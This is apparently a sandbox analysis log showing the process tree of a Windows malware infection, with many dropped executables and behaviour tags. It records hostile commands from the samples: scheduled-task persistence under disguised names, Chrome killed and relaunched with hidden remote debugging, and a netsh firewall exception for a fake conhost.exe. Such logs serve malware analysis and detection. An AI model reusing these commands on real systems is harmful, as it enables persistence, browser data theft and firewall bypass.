C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffb461ec728,0x7ffb461ec734,0x7ffb461ec7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1616,i,14369945306700243665,5010611714205720660,262144 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=1988 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --force-high-res-timeticks=disabled --metrics-shmem-handle=1872,i,17006726581232460478,1155279946649500789,524288 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --force-high-res-timeticks=disabled --metrics-shmem-handle=2104,i,9972015229157409775,17462273204386365767,524288 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2940,i,5041028051856381684,10383134531711897303,2097152 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=2948 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2956,i,17578981241869830715,2047068051156558559,2097152 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3188,i,13117737219338824945,249707105248731856,2097152 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=3376 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3200,i,8342051670068376192,10292066840575640409,2097152 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3876,i,6211355136744220405,5532104868418146448,2097152 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4220,i,18022569644752827921,4818484775224200445,2097152 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot" --force-high-res-timeticks=disabled --metrics-shmem-handle=4288,i,2098451007710003355,6429079960013118506,524288 --field-trial-handle=1992,i,4548748893897112299,7378305475518673474,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:145⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ffb6124c188,0x7ffb6124c194,0x7ffb6124c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1540,i,3049102838799374378,15778104145211613324,262144 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1684,i,6596545146658208309,14346770261121315454,524288 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2376,i,4048832623473043384,5764339303029574997,524288 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3268,i,3129760640431834021,16692214277606949196,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3280,i,11423929436997352648,3913801990698577759,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3748,i,3080015426553405657,837196000532086998,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=3784 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3756,i,16584749367379391660,7268491982339253041,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=3828 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3792,i,7585151440623138802,1134908804618522053,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=3868 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3836,i,15074182618335781525,14687746233843111903,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=3916 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3856,i,1760156344155978154,5118218681733023001,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=3936 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3896,i,4175243768817792949,18060552370208486782,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=3912 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3920,i,7949213462740302605,14855586382994856953,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=4008 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3960,i,10580685792438709164,8198431081380019945,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3952,i,15114471810836372557,13538306744886266285,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\dtkhh52s.rmj" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4012,i,13042655006010890679,10454114978088284972,2097152 --field-trial-handle=2296,i,9844824765867308954,6817668650568833268,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:95⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\donut.exe"C:\Users\Admin\AppData\Local\Temp\Files\donut.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\DragonBalls76Ace.exe"C:\Users\Admin\AppData\Local\Temp\Files\DragonBalls76Ace.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\13.exe"C:\Users\Admin\AppData\Local\Temp\Files\13.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\BruterV3.1.exe"C:\Users\Admin\AppData\Local\Temp\Files\BruterV3.1.exe"3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows_Host_Process" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe"C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe"4⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows_Host_Process" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\fastping_silent_v4.exe"C:\Users\Admin\AppData\Local\Temp\Files\fastping_silent_v4.exe"3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPing.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingAgent.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingService.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingAgent" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe\"" /sc onlogon /f /rl highest /delay 0001:304⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingService" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe\" /boot" /sc onlogon /f /rl highest /delay 0001:304⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn "FastPingAgent"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn "FastPingService"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cssgo.exe"C:\Users\Admin\AppData\Local\Temp\Files\cssgo.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6808 -s 17924⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe"C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe"C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\jd145.exe"C:\Users\Admin\AppData\Local\Temp\Files\jd145.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\JUpdate.exe"C:\Users\Admin\AppData\Local\Temp\Files\JUpdate.exe" jd1454⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\jd145.exe"C:\Users\Admin\AppData\Local\Temp\Files\jd145.exe" auto5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\00231.exe"C:\Users\Admin\AppData\Local\Temp\Files\00231.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\main.exe"C:\Users\Admin\AppData\Local\Temp\Files\main.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\main.exe"C:\Users\Admin\AppData\Local\Temp\Files\main.exe"4⤵
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox5⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffb461ec728,0x7ffb461ec734,0x7ffb461ec7406⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1612,i,1056386907081247595,14094285873522670774,262144 --field-trial-handle=2024,i,9991380638907119892,8158476107000140597,262144 --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1848,i,797412065904108514,13504301629053762228,524288 --field-trial-handle=2024,i,9991380638907119892,8158476107000140597,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:116⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2092,i,12299887701899740918,9592632317125952498,524288 --field-trial-handle=2024,i,9991380638907119892,8158476107000140597,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:136⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2888,i,487265567299555974,16010174425907218285,2097152 --field-trial-handle=2024,i,9991380638907119892,8158476107000140597,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2892,i,4968305138081749772,15514695287304481201,2097152 --field-trial-handle=2024,i,9991380638907119892,8158476107000140597,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4112,i,2660225207181667974,6764976062818088197,524288 --field-trial-handle=2024,i,9991380638907119892,8158476107000140597,262144 --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:146⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox5⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xa8,0x130,0x7ffb461ec728,0x7ffb461ec734,0x7ffb461ec7406⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\444.exe"C:\Users\Admin\AppData\Local\Temp\Files\444.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\conhost.exe"C:\Users\Admin\AppData\Roaming\conhost.exe"4⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\conhost.exe" "conhost.exe" ENABLE5⤵
- Modifies Windows Firewall
-
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
